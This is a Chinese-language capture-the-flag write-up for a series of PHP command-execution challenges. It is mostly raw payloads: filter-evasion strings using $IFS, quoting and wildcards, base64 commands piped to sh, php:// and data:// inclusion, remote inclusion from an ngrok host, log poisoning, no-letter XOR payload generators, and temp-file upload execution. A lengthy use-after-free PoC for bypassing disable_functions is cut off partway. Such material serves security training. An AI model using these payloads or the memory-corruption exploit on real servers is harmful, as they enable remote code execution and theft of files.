web29
源码开局
拼接
c=system('a=g;cat$IFS$1fla$a.php'); c=system('1;a=f;d=ag;c=l;cat$IFS$a$c$d.php');
或者
?c=system("nl fla?????"); ?c=system("nl fla*"); ?c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`; ?c=echo `nl fl\ag.php`;//转义字符绕过 ?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php ?c=eval($_GET[zf]);&zf=system('nl flag.php'); ?c=system('a=g;cat$IFS$1fla$a.php'); ?c=system('1;a=f;d=ag;c=l;cat$IFS$a$c$d.php'); ?cecho$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh ?c=system('cat$IFS$9`ls`');
web30 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
这里发现多过滤了一个system函数,PHP中执行方法的函数有很多,比如passsthru exec shell_exec
法一
使用exec执行函数,虽然exec对执行结果不输出,但是可把执行的结果写入1.txt中,之后在查看1.txt文件
复制 ?c=exec('cp fla* 1.txt'); 拼接 ?c=exec('cat > 2.txt');
方法二
用passthru函数执行命令,与exec的区别是 passthru直接将结果输出,不返回结果,不用使用echo查看结果
方法三
在php中echo 命令;也是可以执行并输出的,
?c=echo `ls`; echo `cat fla*`;
执行命令函数 system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() `` 反引号 同shell_exec()
payload
?c=echo exec('nl fla?????'); ?c=echo `nl fla''g.p''hp`; ?c=echo `nl fla?????`; 还有上一道题的很多payload都可以使用
web31 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
cat被过滤 空格也被过滤
linux查看文件 more: 一页一页的显示内容 less: 与more类似 head: 查看头几行 tac: 从最后一行开始显示 cat: 的反向显示 tail: 查看尾几行 nl: 显示的时候顺便输出行号 od: 以二进制方法读取内容 vi: 一种编辑器 vim: 一种编辑器 sort: 可以查看 uinq: 可以查看 file -f:报错出具体内容grep grep: 在当前目录中,找出后缀有file字样的文件中包含test字符串的文件,并打印出该字符串的行. grep test *file strings
payload
?c=eval($_GET[zf]);&zf=system('ls'); ?c=eval($_POST[zf]); POST:zf=system('ls'); ?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__))))); ?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); ?c=echo(`nl%09fl[abc]*`); ?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system() ?c=echo`strings f*`; ?c=echo`strings\$IFS\$9f*`; 必须加转义字符
php原生方法查看文件 print_r(scandir(dirname(__FILE__)));查看当前目录下文件 print_r(next(array_reverse(scandir(dirname(__FILE__))))); c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
web32 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
include可以不用括号,分号可以用?>代替
过滤括号include payload
?c=include$_GET[zf]?>&zf=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[zf]?>&zf=data://text/plain,<?php system("cat flag.php");?> ?c=include$_GET[zf]?>&zf=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== ?c=include$_GET[zf]?>&zf=php://input POST:<?php system('nl flag.php')?> ?c=include$_GET[zf]?>&zf=http://1d40-111-17-194-91.ngrok.io/wanan.txt 远程执行,这里的远程文件是txt的,如果是php就会执行远程服务器上的命令
web33 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
payload
?c=include$_GET[zf]?>&zf=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[zf]?>&zf=data://text/plain,<?php system("cat flag.php");?> ?c=include$_GET[zf]?>&zf=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== ?c=include$_GET[zf]?>&zf=php://input POST:<?php system('nl flag.php')?> ?c=include$_GET[zf]?>&zf=http://1d40-111-17-194-91.ngrok.io/wanan.txt 远程执行
web34 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
payload
?c=include$_GET[zf]?>&zf=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[zf]?>&zf=data://text/plain,<?php system("cat flag.php");?> ?c=include$_GET[zf]?>&zf=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== ?c=include$_GET[zf]?>&zf=php://input POST:<?php system('nl flag.php')?> ?c=include$_GET[zf]?>&zf=http://1d40-111-17-194-91.ngrok.io/wanan.txt 远程执行
web35 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
payload
?c=include$_GET[zf]?>&zf=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[zf]?>&zf=data://text/plain,<?php system("cat flag.php");?> ?c=include$_GET[zf]?>&zf=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== ?c=include$_GET[zf]?>&zf=php://input POST:<?php system('nl flag.php')?> ?c=include$_GET[zf]?>&zf=http://1d40-111-17-194-91.ngrok.io/wanan.txt 远程执行
web36 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
payload
?c=include$_GET[zf]?>&zf=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[zf]?>&zf=data://text/plain,<?php system("cat flag.php");?> ?c=include$_GET[zf]?>&zf=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== ?c=include$_GET[zf]?>&zf=php://input POST:<?php system('nl flag.php')?> ?c=include$_GET[zf]?>&zf=http://1d40-111-17-194-91.ngrok.io/wanan.txt 远程执行
web37 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
payload
?c=data://text/palin,<?php system("nl fla*");?> ?c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4= ?c=php://input POST:<?php system('nl flag.php')?> ?c=http://1d40-111-17-194-91.ngrok.io/wanan.txt
配合ua实现日志包含 ?c=/var/log/nginx/access.log
web38 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|php|file/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
payload
?c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4= ?c=http://1d40-111-17-194-91.ngrok.io/wanan.txt ?c=/var/log/nginx/access.log User-Agent: <?php phpinfo();?>
web39 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c .".php" ); } }else { highlight_file (__FILE__ ); }
payload
?c=data://text/plain,<?=phpinfo();?>
web40 <?php if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
这里过滤的是中文的括号,这里的基本命令可用,但是引号和美元符号都没了
法一
利用session执行命令 利用session_id(),首先修改cookie中PHPSESSID内容为ls
然后输入
?c=session_start();system(session_id());
在将c改成
?c=session_start();highlight_file(session_id());
修改PHPSESSID的值为flag.php就出问题了。经过测试发现,受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
法二
读文件夹数组改造查看文件 highlight_file(next(array_reverse(scandir(pos(localeconv()))))); localeconv():返回一包含本地数字及货币格式信息的数组.其中数组中的第一个为点号(.) pos():返回数组中的当前元素的值 array_reverse():数组逆序 scandir():获取当前目录下的文件 next():函数将内部指针指向数组中的下一个元素并输出
首先通过pos(localeconv())得到点号,因为scandir(‘.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了
?c=print_r(scandir(dirname(__FILE__)));查看当前目录下文件 ?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
web41 无数字字母异或rce <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; if (!preg_match ('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c )){ eval ("echo($c );" ); } }else { highlight_file (__FILE__ ); } ?>
先使用php脚本生成or_rce字典
<?php $myfile = fopen ("or_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9a-z]/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents );fclose ($myfile );
使用python脚本生成payload
import requests import urllib from sys import *import os def action (arg): s1="" s2="" for i in arg: f=open ("or_rce.txt" ,"r" ) while True: t=f.readline () if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close () output="(\"" +s1+"\"|\"" +s2+"\")" return (output) while True: param=action (input ("\n[+] your function:" ) )+action (input ("[+] your command:" ))+";" print (param)
分号去一下
web42 linux命令截断 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; system ($c ." >/dev/null 2>&1" ); }else { highlight_file (__FILE__ ); }
/dev/null 2>&1,让所有的输出流(包括正确的和错误的)都定向到空设备丢弃.所以后面的不能执行,要把后面截断
?c=ls;%0a ?c=ls;& 不行编码试试%26 ?c=ls||
web43 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
payload
?c=ls%0a ?c=ls%0a&& ?c=ls%0a|| ?c=nl flag.php%0a
web44 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/;|cat|flag/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
payload
?c=ls%0a ?c=ls%0a&& ?c=ls%0a|| ?c=nl fla*%0a
web45 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| /i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
payload
?c=nl%09fl*%0a php下%09代替空格 ?c=echo$IFS`tac$IFS*`%0A $IFS代表shell里面的空格
web46 反斜杠绕过关键词过滤 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
payload
?c=nl%09fla\g.php%0a ?c=nl%09fla\g.php||
web47 “双引号绕过关键词过滤 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
payload
web48 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
payload
web49 linux绕过关键词过滤集合 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
payload
?c=nl%09fla\g.php|| ?c=nl%09fla\g.php%0a ?c=nl%09fla''g.php%0a ?c=nl%09fla""g.php%0a ?c=vi%09fla\g.php%0a ?c=tac%09fla\g.php%0a ?c=uniq%09fla\g.php%0a ?c=nl<fla\g.php|| ?c=nl<fla''g.php|| ?c=nl<fla""g.php|| ?c=nl<fla\g.php%26
web50 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
payload
?c=nl<fla""g.php|| ?c=nl<fla\g.php||
web51 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
payload
?c=nl<fla""g.php|| ?c=nl<fla\g.php|| ?c=nl<fla''g.php||
web52 linux$IFS代替空格 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
payload
web53 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ echo ($c ); $d = system ($c ); echo "<br>" .$d ; }else { echo 'no' ; } }else { highlight_file (__FILE__ ); }
payload
?c=c''at${IFS}fla''g.p''hp ?c=nl$IFS\fla\g.php
web54 ???统配执行语句/bin/c??${IFS}???????? <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
payload
?c=/bin/c??${IFS}???????? ?c=/bin/c??$IFS????????
web55 ???统配base64执行语句/???/????64 ???????? <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
payload
法二
看下面
phithon的无字母webshell 题目 <?php if (isset ($_GET ['code' ])){ $code = $_GET ['code' ]; if (strlen ($code )>35 ){ die ("Long." ); } if (preg_match ("/[A-Za-z0-9_$]+/" ,$code )){ die ("NO." ); } eval ($code ); }else { highlight_file (__FILE__ ); }
php7下 我们将代码放入index.php中,然后执行
docker run --rm -p 9090:80 -v `pwd`:/var/www/html php:7.2-apache
–rm 在容器退出时就能够自动清理容器内容部的文件系统
-p 将本机的9090端口映射到容器80端口
-v 指定挂载位置 `pwd`是将当前目录挂载到/var/www/html目录下
php:7.2-apache :运行一个php:7.2-apache容器
在php7之前是不允许使用($a)();这样的方法来执行动态函数的,在php7之后可以使用(‘phpinfo’)();来执行函数,第一个括号中可以任意的php表达
(~%8F%97%8F%96%91%99%90)();
就相当于phpinfo();这里的~代表取反的意思,而其中有不可见字符,就用url编码表示
<?php echo ~urldecode('%8F%97%8F%96%91%99%90'); #phpinfo
php5下 docker run --rm -p 9090:80 -v `pwd`:/var/www/html php:5.6-apache
shell下可以使用.来执行任意脚本
linux文件名支持用glob通配符代替
. file执行文件,是不需要file有x权限的.那么,如果目标服务器上有一个我们可控的文件,那么就可以利用.来执行.我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpxxxxxx,文件名的最后六个字符是随机大小写的.
*可以代替0个及以上任意字符
?可以代表1个任意字符
那么,/tmp/phpxxxxxx就可以表示为/*/?????????或者/???/????????
但是在能够匹配上/???/?????????这个通配符的文件有很多
但是glob通配符还支持使用[^x]的方法来构造”这个位置不是字符x”.那么我们就可以使用这个姿势干掉/bin/run-parts
排除了第4个字符是-的文件,同样我们可以排除包含.的文件
/???/???[^-][^.][^.]?[^.]?
跟正则表达式一样,glob支持利用[0-9]来表示一个范围
这里所有的文件名都是小写,只有php生成的临时文件包含大写字母,那么我们只要找到一个表示大写字母的glob通配符就可以了.易知大写字母位于@与[之间
最后传入的是
?><?=`. /???/????????[@-[]`;?>
先写一个上传文件的html文件
<!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > POST数据包POC</title > </head > <body > <form action ="http://831fec7f-ff8b-4fe6-869c-d2d8e70dc2c4.challenge.ctf.show/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
至于这里为什么要添加?>如果我们通过<?=`ls`去执行就需要在啊前面添加?>
原因就是eval()函数相当于执行php代码,而<?=就相当于<?php echo,在php7以上不管short_open_tag配置是不是开启都可以用.所以就相当于一个新的php文件,这样的话就需要将在前面的<?php给闭合,不然不会执行
web56 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
payload
import requestswhile True : url = "http://7a1fe05e-90db-4af3-a0ec-c849297f8d16.challenge.ctf.show/?c=.+/???/????????[@-[]" r = requests.post(url,files={"file" :('1.php' ,b'cat flag.php' )}) if r.text.find("flag" ) >0 : print (r.text) break
web57 linux构造数字 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i" , $c )){ system ("cat " .$c .".php" ); } }else { highlight_file (__FILE__ ); }
要构造36这个数字
shell作用
${_}:代表上一次命令执行的结果
$(()):做运算
之前没有命令返回或者执行,结果应该是空,与""
等价又 $((""))
值为0,$((~$((""))))
值为-1,再做拼接:所以可以拼接得到-37 , -37取反得到36
payload
?c=$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))
web58 绕过disable_fuctions <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
获取文件路径
c=print_r(scandir(dirname('__FILE__'))); c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()."");} c=$a=opendir("./");while (($file = readdir($a)) !== false){echo $file . "<br>";};
读取文件
通过单一函数读取文件
c=echo file_get_contents("flag.php"); c=readfile("flag.php"); c=var_dump(file("flag.php")); c=print_r(file('flag.php')); #file 把整个文件读到一个数组里
通过fopen读取文件
fread() fgets() fgetc() fgetss() fgetcsv() gpassthru() c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgets($a);echo $line;}#一行一行读 c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}#一个一个字符读取 c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
通过高亮显示php文件
c=show_source("flag.php"); c=highlight_file("flag.php");
web59 绕过disable_fuctions <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
查找flag文件的位置
c=print_r(scandir('./'));
payload
//paylaod汇总 c=highlight_file("flag.php"); c=var_dump(file("flag.php")); c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);} c=$a=fopen("flag.php","r");echo fread($a,"1000"); c=$a=fopen("flag.php","r");echo fpassthru($a);
web60 绕过disable_fuctions <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
查找
c=print_r(scandir('./'));
payload
c=highlight_file("flag.php"); c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);} 不行的 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
复制改名
复制后访问url/flag.txt copy() rename() c=copy("flag.php","flag.txt"); c=rename("flag.php","flag.txt");
web61-65 绕过disable_fuctions 为了熟悉学习新姿势c=$a=opendir(‘./‘);while(($file = readdir($a)) !=false){echo $file.” “;}或者c=print_r(scandir(current(localeconv())));
//payload: c=show_source('flag.php'); c=highlight_file('flag.php'); c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
web66-67 绕过disable_fuctions 扫描目录c=var_dump(scandir(“/“));发现是flag.txt
//下面是payload c=include('/flag.txt'); c=require('/flag.txt'); c=require_once('/flag.txt'); c=highlight_file('/flag.txt');
web68-70 绕过disable_fuctions 快乐第一步扫描目录c=$a=new DirectoryIterator(‘glob:///*’);foreach($a as $f){echo($f->__toString().” “);}
//payload介绍 c=include('/flag.txt'); c=require('/flag.txt'); c=require_once('/flag.txt');
web70 exit();使程序提前退出 <?php error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); } ?> 你要上天吗?
ob_get_contents 返回输出缓冲区的内容
ob_end_clean 清空缓冲区并关闭输出缓冲区
<?php $a = 'system("ls");'; eval($a); //在网页中会输出内容
<?php $a = 'system("ls");'; eval($a); ob_get_contents(); ob_end_clean(); <?php $a = 'system("ls");'; eval($a); $c = ob_get_contents(); ob_end_clean(); echo $c; //在这里则在网页当中没有输出内容,不难看出其取得了缓冲区的内容并清空了缓冲区
payload
c=require_once('/flag.txt');exit();
exit();使程序提前退出,绕过后面正则表达式
web72 使用glob://伪协议绕过open_basedir <?php error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); } ?> 你要上天吗?
payload解释
<?php $a = '?><?php echo 111;?>' ;eval ($a );
这里的?>是为了闭合前面的<?php
看位置
c=?> <?php $a =new DirectoryIterator ("glob://./*" ); foreach ($a as $f ){echo ($f ->__toString ().' ' ); } exit (0 );?>
读文件没权限
uaf绕过open_basedir执行命令 function ctfshow ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die 